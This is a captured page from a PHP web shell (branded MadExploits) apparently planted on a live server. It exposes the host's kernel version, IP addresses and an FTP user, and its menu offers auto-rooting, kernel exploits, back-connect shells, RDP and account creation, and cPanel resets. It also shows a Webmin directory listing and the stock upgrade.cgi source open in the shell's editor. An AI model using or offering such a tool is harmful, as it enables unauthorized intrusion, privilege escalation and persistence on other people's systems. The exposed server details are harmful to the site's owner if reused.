Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
subdir
[ DIR ]
drwxr-xr-x
CHANGELOG
12.02
KB
-rw-r--r--
acme_tiny.py
11.24
KB
-rwxr-xr-x
adminupgrade
299
B
-rw-r--r--
backup_config.pl
1.97
KB
-rwxr-xr-x
bootup.cgi
1.04
KB
-rwxr-xr-x
cache.cgi
1.47
KB
-rwxr-xr-x
cgi_args.pl
159
B
-rwxr-xr-x
change_access.cgi
1.34
KB
-rwxr-xr-x
change_advanced.cgi
3
KB
-rwxr-xr-x
change_anon.cgi
712
B
-rwxr-xr-x
change_bind.cgi
4.8
KB
-rwxr-xr-x
change_ca.cgi
674
B
-rwxr-xr-x
change_debug.cgi
1.38
KB
-rwxr-xr-x
change_lang.cgi
478
B
-rwxr-xr-x
change_lock.cgi
554
B
-rwxr-xr-x
change_log.cgi
2.38
KB
-rwxr-xr-x
change_mobile.cgi
940
B
-rwxr-xr-x
change_os.cgi
1.85
KB
-rwxr-xr-x
change_osdn.cgi
1.54
KB
-rwxr-xr-x
change_overlay.cgi
1.16
KB
-rwxr-xr-x
change_proxy.cgi
1.09
KB
-rwxr-xr-x
change_referers.cgi
633
B
-rwxr-xr-x
change_session.cgi
4.77
KB
-rwxr-xr-x
change_ssl.cgi
3.03
KB
-rwxr-xr-x
change_startpage.cgi
773
B
-rwxr-xr-x
change_status.cgi
1.02
KB
-rwxr-xr-x
change_theme.cgi
1.16
KB
-rwxr-xr-x
change_twofactor.cgi
1.43
KB
-rwxr-xr-x
change_ui.cgi
1.65
KB
-rwxr-xr-x
change_web.cgi
2.47
KB
-rwxr-xr-x
clear_blocked.cgi
154
B
-rwxr-xr-x
clear_cache.cgi
205
B
-rwxr-xr-x
clone_mod.cgi
2.06
KB
-rwxr-xr-x
config
94
B
-rw-r--r--
config.info
609
B
-rw-r--r--
config.info.ar
414
B
-rw-r--r--
config.info.ca
408
B
-rw-r--r--
config.info.cs
233
B
-rw-r--r--
config.info.de
368
B
-rw-r--r--
config.info.es
229
B
-rw-r--r--
config.info.fa
301
B
-rw-r--r--
config.info.fr
577
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
245
B
-rw-r--r--
config.info.ja
531
B
-rw-r--r--
config.info.ko
206
B
-rw-r--r--
config.info.ms
286
B
-rw-r--r--
config.info.nl
299
B
-rw-r--r--
config.info.no
283
B
-rw-r--r--
config.info.pl
284
B
-rw-r--r--
config.info.pt_BR
299
B
-rw-r--r--
config.info.ru
491
B
-rw-r--r--
config.info.sk
132
B
-rw-r--r--
config.info.sv
202
B
-rw-r--r--
config.info.tr
155
B
-rw-r--r--
cpan_modules.pl
229
B
-rwxr-xr-x
defaultacl
17
B
-rw-r--r--
delete_cache.cgi
471
B
-rwxr-xr-x
delete_mod.cgi
2.24
KB
-rwxr-xr-x
delete_webmincron.cgi
1.51
KB
-rwxr-xr-x
download_cert.cgi
532
B
-rwxr-xr-x
edit_access.cgi
1.38
KB
-rwxr-xr-x
edit_advanced.cgi
3.87
KB
-rwxr-xr-x
edit_anon.cgi
812
B
-rwxr-xr-x
edit_assignment.cgi
1.12
KB
-rwxr-xr-x
edit_bind.cgi
2.95
KB
-rwxr-xr-x
edit_blocked.cgi
944
B
-rwxr-xr-x
edit_ca.cgi
2.82
KB
-rwxr-xr-x
edit_categories.cgi
1.69
KB
-rwxr-xr-x
edit_debug.cgi
2.04
KB
-rwxr-xr-x
edit_descs.cgi
1.49
KB
-rwxr-xr-x
edit_ipkey.cgi
1.7
KB
-rwxr-xr-x
edit_lang.cgi
1004
B
-rwxr-xr-x
edit_lock.cgi
763
B
-rwxr-xr-x
edit_log.cgi
3.04
KB
-rwxr-xr-x
edit_mobile.cgi
1.26
KB
-rwxr-xr-x
edit_mods.cgi
4.67
KB
-rwxr-xr-x
edit_os.cgi
2.72
KB
-rwxr-xr-x
edit_proxy.cgi
3.7
KB
-rwxr-xr-x
edit_referers.cgi
899
B
-rwxr-xr-x
edit_sendmail.cgi
3.48
KB
-rwxr-xr-x
edit_session.cgi
5.18
KB
-rwxr-xr-x
edit_ssl.cgi
10.55
KB
-rwxr-xr-x
edit_startpage.cgi
1.68
KB
-rwxr-xr-x
edit_status.cgi
1.13
KB
-rwxr-xr-x
edit_themes.cgi
3.72
KB
-rwxr-xr-x
edit_twofactor.cgi
1.5
KB
-rwxr-xr-x
edit_ui.cgi
2.74
KB
-rwxr-xr-x
edit_upgrade.cgi
4.26
KB
-rwxr-xr-x
edit_web.cgi
2.88
KB
-rwxr-xr-x
edit_webmincron.cgi
1.35
KB
-rwxr-xr-x
export_mod.cgi
1.23
KB
-rwxr-xr-x
feedback_files.pl
126
B
-rwxr-xr-x
fix_os.cgi
228
B
-rwxr-xr-x
gnupg-lib.pl
13.38
KB
-rwxr-xr-x
hide.cgi
326
B
-rwxr-xr-x
index.cgi
4.16
KB
-rwxr-xr-x
install_mod.cgi
4.2
KB
-rwxr-xr-x
install_theme.cgi
2.29
KB
-rwxr-xr-x
jcameron-key.asc
1.29
KB
-rw-r--r--
letsencrypt-cleanup.pl
2
KB
-rwxr-xr-x
letsencrypt-dns.pl
2.46
KB
-rwxr-xr-x
letsencrypt-lib.pl
13.75
KB
-rwxr-xr-x
letsencrypt.cgi
4.64
KB
-rwxr-xr-x
log_parser.pl
1.23
KB
-rwxr-xr-x
module.info
195
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
142
B
-rw-r--r--
module.info.ar
185
B
-rw-r--r--
module.info.ar.auto
22
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
208
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
218
B
-rw-r--r--
module.info.ca
134
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
28
B
-rw-r--r--
module.info.cs.auto
128
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
142
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
262
B
-rw-r--r--
module.info.es
33
B
-rw-r--r--
module.info.es.auto
109
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
158
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
202
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
141
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.auto
129
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
195
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
149
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
148
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
180
B
-rw-r--r--
module.info.ko
22
B
-rw-r--r--
module.info.ko.auto
129
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
180
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
144
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
117
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.auto
117
B
-rw-r--r--
module.info.pl
155
B
-rw-r--r--
module.info.pl.auto
15
B
-rw-r--r--
module.info.pt
33
B
-rw-r--r--
module.info.pt.auto
113
B
-rw-r--r--
module.info.pt_BR
36
B
-rw-r--r--
module.info.pt_BR.auto
119
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
147
B
-rw-r--r--
module.info.ru
34
B
-rw-r--r--
module.info.ru.auto
172
B
-rw-r--r--
module.info.sk
30
B
-rw-r--r--
module.info.sk.auto
132
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
147
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.auto
114
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
258
B
-rw-r--r--
module.info.tr
33
B
-rw-r--r--
module.info.tr.auto
128
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
215
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
209
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
177
B
-rw-r--r--
module.info.zh
22
B
-rw-r--r--
module.info.zh_TW
25
B
-rw-r--r--
module.info.zh_TW.auto
115
B
-rw-r--r--
newcsr.cgi
800
B
-rwxr-xr-x
newkey.cgi
879
B
-rwxr-xr-x
postinstall.pl
2.01
KB
-rwxr-xr-x
refresh_modules.cgi
664
B
-rwxr-xr-x
restart.cgi
87
B
-rwxr-xr-x
save_assignment.cgi
485
B
-rwxr-xr-x
save_categories.cgi
946
B
-rwxr-xr-x
save_descs.cgi
1006
B
-rwxr-xr-x
save_ipkey.cgi
1.31
KB
-rwxr-xr-x
save_newmod.cgi
278
B
-rwxr-xr-x
save_sendmail.cgi
2.08
KB
-rwxr-xr-x
save_webmincron.cgi
1016
B
-rwxr-xr-x
savekey.cgi
2.8
KB
-rwxr-xr-x
setup_ca.cgi
1.52
KB
-rwxr-xr-x
standard_chooser.cgi
1.68
KB
-rwxr-xr-x
stop_ca.cgi
1.03
KB
-rwxr-xr-x
syslog_logs.pl
633
B
-rwxr-xr-x
system_info.pl
5.02
KB
-rw-r--r--
test_sendmail.cgi
784
B
-rwxr-xr-x
third_chooser.cgi
1.55
KB
-rwxr-xr-x
twofactor-funcs-lib.pl
8.81
KB
-rw-r--r--
uninstall.pl
236
B
-rwxr-xr-x
update.cgi
2.86
KB
-rwxr-xr-x
upgrade.cgi
16.08
KB
-rwxr-xr-x
view_webmincron.cgi
1.66
KB
-rwxr-xr-x
webmin-lib.pl
68.83
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.cgi
#!/usr/bin/perl # upgrade.cgi # Upgrade webmin if possible require './webmin-lib.pl'; &foreign_require("proc", "proc-lib.pl"); &foreign_require("acl", "acl-lib.pl"); &ReadParseMime(); $| = 1; $theme_no_table = 1; &ui_print_header(undef, $text{'upgrade_title'}, ""); # Save this CGI from being killed by the upgrade $SIG{'TERM'} = 'IGNORE'; if ($in{'source'} == 0) { # from local file &error_setup(&text('upgrade_err1', $in{'file'})); $file = $in{'file'}; if (!-r $file) { &inst_error($text{'upgrade_efile'}); } if ($file =~ /webmin-(\d+\.\d+)(\-(\d+))?/) { $version = $1; $release = $3; $full = $version.($release ? "-$release" : ""); } if (!$in{'force'}) { &check_inst_version($full); } } elsif ($in{'source'} == 1) { # from uploaded file &error_setup($text{'upgrade_err2'}); $file = &transname(); $need_unlink = 1; if ($no_upload) { &inst_error($text{'upgrade_ebrowser'}); } open(MOD, ">$file"); print MOD $in{'upload'}; close(MOD); if ($in{'upload_filename'} =~ /webmin-(\d+\.\d+)(\-(\d+))?/) { $version = $1; $release = $3; $full = $version.($release ? "-$release" : ""); } } elsif ($in{'source'} == 2) { # find latest version at www.webmin.com by looking at index page &error_setup($text{'upgrade_err3'}); ($ok, $version, $release) = &get_latest_webmin_version(); $ok || &inst_error($version); $full = $version.($release ? "-$release" : ""); if (!$in{'force'}) { # Is the new version and release actually newer &check_inst_version($full); } if ($in{'mode'} eq 'rpm') { # Downloading RPM $release ||= 1; $progress_callback_url = &convert_osdn_url( "http://$osdn_host/webadmin/webmin-${version}-${release}.noarch.rpm"); } elsif ($in{'mode'} eq 'deb') { # Downloading Debian package $release = $release ? "-".$release : ""; $progress_callback_url = &convert_osdn_url( "http://$osdn_host/webadmin/webmin_${version}${release}_all.deb"); } elsif ($in{'mode'} eq 'solaris-pkg') { # Downloading my Solaris package $release = $release ? "-".$release : ""; $progress_callback_url = &convert_osdn_url( "http://$osdn_host/webadmin/webmin-${version}${release}.pkg.gz"); } else { # Downloading tar.gz file $release = $release ? "-".$release : ""; $progress_callback_url = &convert_osdn_url( "http://$osdn_host/webadmin/webmin-${version}${release}.tar.gz"); } ($host, $port, $page, $ssl) = &parse_http_url($progress_callback_url); $file = &transname(); &http_download($host, $port, $page, $file, \$error, \&progress_callback, $ssl); $error && &inst_error($error); $need_unlink = 1; } elsif ($in{'source'} == 5) { # Download from some URL &error_setup(&text('upgrade_err5', $in{'url'})); $file = &transname(); $in{'url'} = &convert_osdn_url($in{'url'}); $progress_callback_url = $in{'url'}; if ($in{'url'} =~ /^(http|https):\/\/([^\/]+)(\/.*)$/) { $ssl = $1 eq 'https'; $host = $2; $page = $3; $port = $ssl ? 443 : 80; if ($host =~ /^(.*):(\d+)$/) { $host = $1; $port = $2; } &http_download($host, $port, $page, $file, \$error, \&progress_callback, $ssl); } elsif ($in{'url'} =~ /^ftp:\/\/([^\/]+)(:21)?\/(.*)$/) { $host = $1; $ffile = $3; &ftp_download($host, $ffile, $file, \$error, \&progress_callback); } else { &inst_error($text{'upgrade_eurl'}); } $need_unlink = 1; $error && &inst_error($error); if ($in{'url'} =~ /webmin-(\d+\.\d+)(\-(\d+))?/) { $version = $1; $release = $3; $full = $version.($release ? "-$release" : ""); } } elsif ($in{'source'} == 3) { # Get the latest version from Caldera with cupdate &redirect("/cupdate/"); } elsif ($in{'source'} == 4) { # Just run the command emerge webmin &error_setup(&text('upgrade_err4')); $file = "webmin"; $need_unlink = 0; } $qfile = quotemeta($file); # Import the signature for RPM if ($in{'mode'} eq 'rpm') { system("rpm --import $module_root_directory/jcameron-key.asc >/dev/null 2>&1"); } # Check the signature if possible if ($in{'sig'}) { # Check the package signature ($ec, $emsg) = &gnupg_setup(); if (!$ec) { if ($in{'mode'} eq 'rpm') { # Use rpm's gpg signature verification my $out = &backquote_command( "rpm --checksig $qfile 2>&1"); if ($?) { $ec = 3; $emsg = &text('upgrade_echecksig', "<pre>$out</pre>"); } } else { # Do a manual signature check if ($in{'source'} == 2) { # Download the key for this tar.gz my ($sigtemp, $sigerror); &http_download($update_host, $update_port, "/download/sigs/webmin-$full.tar.gz-sig.asc", \$sigtemp, \$sigerror); if ($sigerror) { $ec = 4; $emsg = &text('upgrade_edownsig', $sigerror); } else { my $data = &read_file_contents($file); my ($vc, $vmsg) = &verify_data($data, $sigtemp); if ($vc > 1) { $ec = 3; $emsg = &text( "upgrade_everify$vc", &html_escape($vmsg)); } } } else { $emsg = $text{'upgrade_nosig'}; } } } # Tell the user about any GnuPG error if ($ec) { &inst_error($emsg); } elsif ($emsg) { print "$emsg<p>\n"; } else { print "$text{'upgrade_sigok'}<p>\n"; } } else { print "$text{'upgrade_nocheck'}<p>\n"; } if ($in{'mode'} ne 'gentoo') { # gunzip the file if needed open(FILE, "<$file"); read(FILE, $two, 2); close(FILE); if ($two eq "\037\213") { if (!&has_command("gunzip")) { &inst_error($text{'upgrade_egunzip'}); } $newfile = &transname(); $out = &backquote_command("gunzip -c $qfile 2>&1 >$newfile"); if ($?) { unlink($newfile); &inst_error(&text('upgrade_egzip', "<tt>$out</tt>")); } unlink($file) if ($need_unlink); $need_unlink = 1; $file = $newfile; } } $qfile = quotemeta($file); if ($in{'mode'} eq 'rpm') { # Check if it is an RPM package $rpmname = "webmin"; if (open(RPM, "<$root_directory/rpm-name")) { chop($rpmname = <RPM>); close(RPM); } $out = &backquote_command("rpm -qp $qfile"); $out =~ /(^|\n)\Q$rpmname\E-(\d+\.\d+)-(\d+)/ || /(^|\n)\Q$rpmname\E-(\d+\.\d+)/ || &inst_error($text{'upgrade_erpm'}); $version = $2; $release = $3; $full = $version.($release ? "-$release" : ""); if (!$in{'force'}) { # Is the new version and release actually newer &check_inst_version($full); } # Install the RPM $ENV{'tempdir'} = $gconfig{'tempdir'}; print "<p>",$text{'upgrade_setuprpm'},"<p>\n"; print "<pre>"; if ($in{'force'}) { &proc::safe_process_exec( "rpm -U --force --nodeps $qfile", 0, 0, STDOUT, undef, 1, 1); } else { &proc::safe_process_exec( "rpm -U --ignoreos --ignorearch --nodeps $qfile", 0, 0, STDOUT, undef, 1, 1); } unlink($file) if ($need_unlink); print "</pre>\n"; } elsif ($in{'mode'} eq 'deb') { # Check if it is a Debian package $debname = "webmin"; if (open(RPM, "<$root_directory/deb-name")) { chop($debname = <RPM>); close(RPM); } $out = &backquote_command("dpkg --info $qfile"); $out =~ /Package:\s+(\S+)/ && $1 eq $debname || &inst_error($text{'upgrade_edeb'}); $out =~ /Version:\s+(\S+)/ || &inst_error($text{'upgrade_edeb'}); $full = $1; ($version, $release) = split(/\-/, $full); if (!$in{'force'}) { &check_inst_version($full); } # Install the package $ENV{'tempdir'} = $gconfig{'tempdir'}; print "<p>",$text{'upgrade_setupdeb'},"<p>\n"; print "<pre>"; $ENV{'DEBIAN_FRONTEND'} = 'noninteractive'; my $cmd = "dpkg --install --force-depends $qfile"; if (&has_command("apt-get")) { $cmd = "apt-get install $qfile || $cmd"; } &proc::safe_process_exec($cmd, 0, 0, STDOUT, undef, 1, 1); unlink($file) if ($need_unlink); print "</pre>\n"; } elsif ($in{'mode'} eq 'solaris-pkg' || $in{'mode'} eq 'sun-pkg') { # Check if it is a solaris package &foreign_require("software", "software-lib.pl"); &foreign_call("software", "is_package", $file) || &inst_error($text{'upgrade_epackage'}); my @p = &foreign_call("software", "file_packages", $file); # # The package name will always include "webmin" in lower case, # but may be preceded by the source package source ("WS" for the # Webmin.com package, "SUNW" for the Sun distributed package). # and it could have trailing characters to define a set of items # that are installed separately ("r" for the Sun "root" package, # "u" for the Sun "usr" package. # # So the problem is how to match the requested package to the # currently installed package. # foreach $p (@p) { # Hardcode till I can get a better thought for doing this # via a config (or other) file.. ($pkg, $description) = split(/ /, $p); if ($pkg =~ /^(SUNWwebminu|WSwebmin)$/) { break; } else { $pkg =''; } } # Fallthrough error if ($pkg eq '' ) { &inst_error($text{'upgrade_ewpackage'}); } # Install the package print "<p>",$text{'upgrade_setuppackage'},"<p>\n"; print "PKG: $pkg<br>"; $ENV{'KEEP_ETC_WEBMIN'} = 1; # Need to do this inline, otherwise the child process won't install the # package. It would be interesting, however, if this were embedded in # a remote script that could be nohup'd and it would restart the server. chdir("/"); my $pre_install_script = "$config_directory/.pre-install"; my $stop_script = -r $pre_install_script ? $pre_install_script : "$config_directory/stop"; &proc::safe_process_exec_logged( $stop_script, 0, 0, STDOUT, undef, 1,1); $in{'root'} = '/'; $in{'adminfile'} = '$module_root_directory/adminupgrade'; $rv = &software::install_package($file, $pkg); &error($rv) if ($rv); unlink($file) if ($need_unlink); $ENV{'config_dir'} = $config_directory; $ENV{'webmin_upgrade'} = 1; $ENV{'autothird'} = 1; $ENV{'nostop'} = 1; $ENV{'nostart'} = 1; $ENV{'tempdir'} = $gconfig{'tempdir'}; print "<p>",$text{'upgrade_setup'},"<p>\n"; print "<pre>"; # We now need to figure out the installed directory for # this package. The best way is to find the basename # for the miniserv.pl file associated with this package # or, in grep context: # grep "miniserv.pl.*$pkg" # and the first element includes the pathname. # $targ = &backquote_command("grep \"miniserv.pl.*$pkg\" /var/sadm/install/contents"); if ($targ =~ /^(.*)\/miniserv.pl.*$/) { $dir = $1; } $setup = $in{'dir'} ? "./setup.sh '$in{'dir'}'" : "./setup.sh"; print "Package Directory: $dir<br>"; print "cd $dir && ./setup.sh<br>"; &proc::safe_process_exec( "cd $dir && ./setup.sh", 0, 0, STDOUT, undef, 1, 1); &proc::safe_process_exec_logged( "$config_directory/.post-install", 0, 0, STDOUT, undef, 1,1); print "</pre>\n"; } elsif ($in{'mode'} eq 'gentoo') { # Check if it is a gentoo .tar.gz or .ebuild file of webmin open(EMERGE, "emerge --pretend ".quotemeta($file)." 2>/dev/null |"); while(<EMERGE>) { s/\r|\n//g; s/\033[^m]+m//g; if (/\s+[NRU]\s+\]\s+([^\/]+)\/webmin\-(\d\S+)/) { $version = $2; } } close(EMERGE); $version || &inst_error($text{'upgrade_egentoo'}); if (!$in{'force'}) { &check_inst_version($version); } # Install the Gentoo package print "<p>",$text{'upgrade_setupgentoo'},"<p>\n"; print "<pre>"; &proc::safe_process_exec("emerge '$file'", 0, 0, STDOUT, undef, 1, 1); unlink($file) if ($need_unlink); print "</pre>\n"; } else { # Check if it is a webmin tarfile open(TAR, "tar tf $qfile 2>&1 |"); while(<TAR>) { s/\r|\n//g; if (/^webmin-([0-9\.]+)\//) { $version = $1; } if (/^usermin-([0-9\.]+)\//) { $usermin_version = $1; } if (/^[^\/]+\/(\S+)$/) { $hasfile{$1}++; } if (/^(webmin-([0-9\.]+)\/([^\/]+))$/ && $3 ne ".") { # Found a top-level file, or *possibly* a directory # under some versions of tar. Keep it so we know which # files to extract. push(@topfiles, $_); } elsif (/^(webmin-[0-9\.]+\/([^\/]+))\// && $2 ne ".") { # Found a sub-directory, like webmin-1.xx/foo/ # Keep this, so that we know which modules to extract. # Also keep the full directory like webmin-1.xx/foo # to avoid treating it as a file. $intar{$2}++; $tardir{$1}++; } } close(TAR); if ($usermin_version) { &inst_error(&text('upgrade_eusermin', $usermin_version)); } if (!$version) { if ($hasfile{'module.info'}) { &inst_error(&text('upgrade_emod', 'edit_mods.cgi')); } else { &inst_error($text{'upgrade_etar'}); } } if (!$in{'force'}) { &check_inst_version($version); } # Work out where to extract if ($in{'dir'}) { # Since we are currently installed in a fixed directory, # just extract to a temporary location $extract = &transname(); mkdir($extract, 0755); } else { # Next to the current directory $extract = "$root_directory/.."; } # Do the extraction of the tar file, and run setup.sh $| = 1; if ($in{'only'}) { # Extact top-level files like setup.sh and os_list.txt $topfiles = join(" ", map { quotemeta($_) } grep { !$tardir{$_} } @topfiles); $out = &backquote_command("cd $extract && tar xf $file $topfiles 2>&1 >/dev/null"); if ($?) { &inst_error(&text('upgrade_euntar', "<tt>$out</tt>")); } # Add current modules and current non-module directories # (like themes and lang and images) @mods = grep { $intar{$_} } map { $_->{'dir'} } &get_all_module_infos(1); opendir(DIR, $root_directory); foreach $d (readdir(DIR)) { next if ($d =~ /^\./); my $p = "$root_directory/$d"; if (-d $p && !-r "$p/module.info" && $intar{$d}) { push(@mods, $d); } } closedir(DIR); # Extract current modules and other directories $mods = join(" ", map { quotemeta("webmin-$version/$_") } @mods); $out = &backquote_command("cd $extract && tar xf $file $mods 2>&1 >/dev/null"); if ($?) { &inst_error(&text('upgrade_euntar', "<tt>$out</tt>")); } } else { # Extract the whole file $out = &backquote_command("cd $extract && tar xf $file 2>&1 >/dev/null"); if ($?) { &inst_error(&text('upgrade_euntar', "<tt>$out</tt>")); } } unlink($file) if ($need_unlink); $ENV{'config_dir'} = $config_directory; $ENV{'webmin_upgrade'} = 1; $ENV{'autothird'} = 1; $ENV{'tempdir'} = $gconfig{'tempdir'}; $ENV{'deletedold'} = 1 if ($in{'delete'}); print "<p>",$text{'upgrade_setup'},"<p>\n"; print "<pre>"; $setup = $in{'dir'} ? "./setup.sh '$in{'dir'}'" : "./setup.sh"; &proc::safe_process_exec( "cd $extract/webmin-$version && $setup", 0, 0, STDOUT, undef, 1, 1); print "</pre>\n"; if (!$?) { if ($in{'delete'}) { # Can delete the old root directory system("rm -rf ".quotemeta($root_directory)); } elsif ($in{'dir'}) { # Can delete the temporary source directory system("rm -rf ".quotemeta($extract)); } &lock_file("$config_directory/config"); $gconfig{'upgrade_delete'} = $in{'delete'}; &write_file("$config_directory/config", \%gconfig); &unlock_file("$config_directory/config"); } } &webmin_log("upgrade", undef, undef, { 'version' => $version, 'mode' => $in{'mode'} }); if ($in{'disc'}) { # Forcibly disconnect all other login sessions &foreign_require("acl", "acl-lib.pl"); &get_miniserv_config(\%miniserv); &acl::open_session_db(\%miniserv); foreach $s (keys %acl::sessiondb) { if ($s ne $main::session_id) { delete($acl::sessiondb{$s}); } } dbmclose(%acl::sessiondb); &restart_miniserv(1); } # Find out about any updates for this new version. ($updates) = &fetch_updates($update_url); $updates = &filter_updates($updates, $version); if (scalar(@$updates)) { print "<br>",&text('upgrade_updates', scalar(@$updates), "update.cgi?source=0&show=0&missing=0"),"<p>\n"; } # Force refresh of cached updates, in case webmin was included if (&foreign_check("system-status")) { &foreign_require("system-status"); &system_status::refresh_possible_packages([ "webmin" ]); } if (&foreign_check("virtual-server") && @got) { &foreign_require("virtual-server"); &virtual_server::refresh_possible_packages([ "webmin" ]); } &ui_print_footer("", $text{'index_return'}); sub inst_error { unlink($file) if ($need_unlink); unlink($updatestemp); print "$main::whatfailed : $_[0] <p>\n"; &ui_print_footer("", $text{'index_return'}); exit; } sub check_inst_version { my ($full) = @_; return if ($done_check_inst_version++); # Full version may have been checked # in a previous call my $curr_full = &get_webmin_full_version(); if (&compare_version_numbers($full, $curr_full) == 0) { &inst_error(&text('upgrade_elatest', $full)); } elsif (&compare_version_numbers($full, $curr_full) < 0) { &inst_error(&text('upgrade_eversion', $full)); } }
Close